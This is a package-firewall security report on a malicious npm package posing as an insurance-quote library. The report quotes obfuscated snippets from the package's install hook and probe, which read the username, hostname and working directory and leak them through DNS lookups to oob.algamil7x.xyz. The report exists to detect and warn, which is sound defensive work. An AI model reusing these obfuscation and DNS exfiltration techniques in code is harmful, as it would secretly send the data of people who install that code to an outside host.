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canonical: "https://firewall.lpm.dev/npm/@tesla-insurance/vinless-quote/v/9.9.10"
markdown: "https://firewall.lpm.dev/npm/@tesla-insurance/vinless-quote/v/9.9.10.md"
package: "@tesla-insurance/vinless-quote"
report_status: "published"
title: "@tesla-insurance/vinless-quote@9.9.10 npm security report"
verdict: "malicious"
version: "9.9.10"
---

# @tesla-insurance/vinless-quote@9.9.10 npm security report

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## Verdict summary
**Blocked & quarantined** — Host and user identity would be sent to an unrelated domain through DNS. A trailing brace currently makes the probe file invalid JavaScript, so the lookup does not run until that file parses.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 9.9.10
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Trusted malware advisory MAL-2026-16378 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Installation and import load an obfuscated probe that builds a DNS name from the OS username, hostname, and current directory name and looks it up under oob.algamil7x.xyz. Comments call this a registry connectivity check.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 92.0%
- **Started:** 2026-09-22T17:00:50.904Z
- **Finished:** 2026-09-22T17:05:21.168Z
- **Download time:** 764 ms
- **Static scan time:** 41 ms
- **AI review time:** 269458 ms
- **Total time:** 270264 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Installation and import load an obfuscated probe that builds a DNS name from the OS username, hostname, and current directory name and looks it up under oob.algamil7x.xyz. Comments call this a registry connectivity check.

- **Trigger:** npm install runs node index.js, and any import of the package also calls the runtime bootstrap.

- **Impact:** Host and user identity would be sent to an unrelated domain through DNS. A trailing brace currently makes the probe file invalid JavaScript, so the lookup does not run until that file parses.

- **Evidence paths:** package.json, index.js, runtime/index.js, runtime/support/telemetry/index.js, runtime/support/telemetry/probe/index.js, runtime/support/telemetry/probe/impl.js, runtime/support/telemetry/probe/f2a8c4.js, runtime/support/telemetry/probe/a3b9d5.js

- **Review source:** ai\_review

- **Reviewed:** 2026-09-22T17:05:21.168Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The bootstrap starts telemetry, which requires the probe implementation. That file collects identity fields, joins them with the decoded prefix and domain, and calls dns.resolve4. Errors are swallowed.

- **Attack narrative:** On npm install, the install script executes index.js, which immediately loads the runtime bootstrap. That path starts a telemetry probe whose helpers hide os, dns, and process behind char-code decoding and module constructor loading. The probe reads the username, hostname, and directory name, then issues a DNS resolve for a name ending in oob.algamil7x.xyz. The same load happens on import. The probe file currently has an extra closing brace, so it fails to parse, but the install hook, obfuscation, and DNS exfiltration logic are the attack.

- **Rationale:** The install script and package entry are wired to an obfuscated probe that DNS-resolves a hostname containing the username, hostname, and directory name to oob.algamil7x.xyz. That is install-time data exfiltration disguised as a quote library, even though a trailing brace currently stops the probe file from parsing.

- **Network endpoints:** oob.algamil7x.xyz

### Review decision

- **Verdict:** Malicious

- **Confidence:** 92.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The install script runs node index.js during package installation., The package entry loads and calls the runtime bootstrap before exporting the quote API., The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation., An obfuscated helper loads the os and dns modules and the process object through module constructor \_load using char-code names., On load the probe reads the username, hostname, and directory name and calls dns resolve4 on a dotted label string., The label prefix and domain are char-code arrays that decode to tivq and oob.algamil7x.xyz.

- **Evidence against:** The src quote modules only format premiums and driver data and do not open network connections., impl.js ends with an extra closing brace, so that file is not valid JavaScript until the brace is removed.

## Affected versions and remediation

This report applies to @tesla-insurance/vinless-quote@9.9.10.

- Avoid installing @tesla-insurance/vinless-quote@9.9.10. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.install = node index.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Critical: Dns Exfiltration
- **Category:** Source
- **Confidence:** 88.0%
- **Path:** runtime/support/telemetry/probe/impl.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/support/telemetry/probe/impl.js>)

Source appears to send environment or credential material through DNS lookups.

Public source snippet (untrusted):

```javascript
Obfuscated runtime modules collect host identity for a fixed external DNS query.
[redacted].js:
const diag=require('./f2a8c4.js');const cfg=require('./a3b9d5.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c...
[redacted].js:
[redacted].js
Dynamic DNS/OS/process loader in [redacted].js:
const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...
```

### 4. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/package.json>)

The install script runs node index.js during package installation.

Public source snippet (untrusted):

```json
"install": "node index.js",
```

### 5. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/index.js>)

The package entry loads and calls the runtime bootstrap before exporting the quote API.

Public source snippet (untrusted):

```javascript
try { require('./runtime')(); } catch (e) { /* non-fatal */ }
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** runtime/index.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/index.js>)

The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation.

Public source snippet (untrusted):

```javascript
try { support.initialize(config); } catch (e) { /* non-fatal */ }
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** runtime/support/telemetry/index.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/support/telemetry/index.js>)

The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation.

Public source snippet (untrusted):

```javascript
var probe = require('./probe');
function start(config) {
  try { probe.run(config); } catch (e) { /* non-fatal */ }
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** runtime/support/telemetry/probe/index.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/support/telemetry/probe/index.js>)

The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation.

Public source snippet (untrusted):

```javascript
var impl = require('./impl');
function run(config) { impl.runProbe(config); }
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** runtime/support/telemetry/probe/f2a8c4.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/support/telemetry/probe/f2a8c4.js>)

An obfuscated helper loads the os and dns modules and the process object through module constructor \_load using char-code names.

Public source snippet (untrusted):

```javascript
const _0xc2j0=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));const _0xe4l2=global[_0xb1i9(_0xa0h8)];
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** runtime/support/telemetry/probe/impl.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/support/telemetry/probe/impl.js>)

On load the probe reads the username, hostname, and directory name and calls dns resolve4 on a dotted label string.

Public source snippet (untrusted):

```javascript
try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 92.0%
- **Path:** runtime/support/telemetry/probe/a3b9d5.js
- **Public source:** [View source](<https://unpkg.com/@tesla-insurance/vinless-quote@9.9.10/runtime/support/telemetry/probe/a3b9d5.js>)

The label prefix and domain are char-code arrays that decode to tivq and oob.algamil7x.xyz.

Public source snippet (untrusted):

```javascript
const _0xb2c3=[0x74,0x69,0x76,0x71];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** install
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @tesla-insurance/vinless-quote
- **Ecosystem:** npm
- **Version:** 9.9.10
- **License:** MIT
- **Version published:** 2026-09-22T08:38:08.955Z
- **Package first seen:** 2026-09-22T17:05:21.168Z
- **Package last seen:** 2026-09-22T19:04:18.161Z
- **Known versions:** 2
- **Latest version:** 9.9.10
- **Appeal under review:** No
- **Description:** VIN-less insurance quote pipeline for vehicle and driver descriptors
- **Author:** Tesla Insurance Platform
- **Keywords:** insurance, quote, vinless, vehicle, driver, pricing, enterprise
- **Runtime engines:** node: \>=14
- **Artifact files:** 28
- **Artifact unpacked size:** 17,065 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@tesla-insurance/vinless-quote/v/9.9.10>)
- [Repository](<https://github.com/tesla-insurance/vinless-quote.git>)
- [Homepage](<https://github.com/tesla-insurance/vinless-quote#readme>)
- [Issues](<https://github.com/tesla-insurance/vinless-quote/issues>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-16378>)
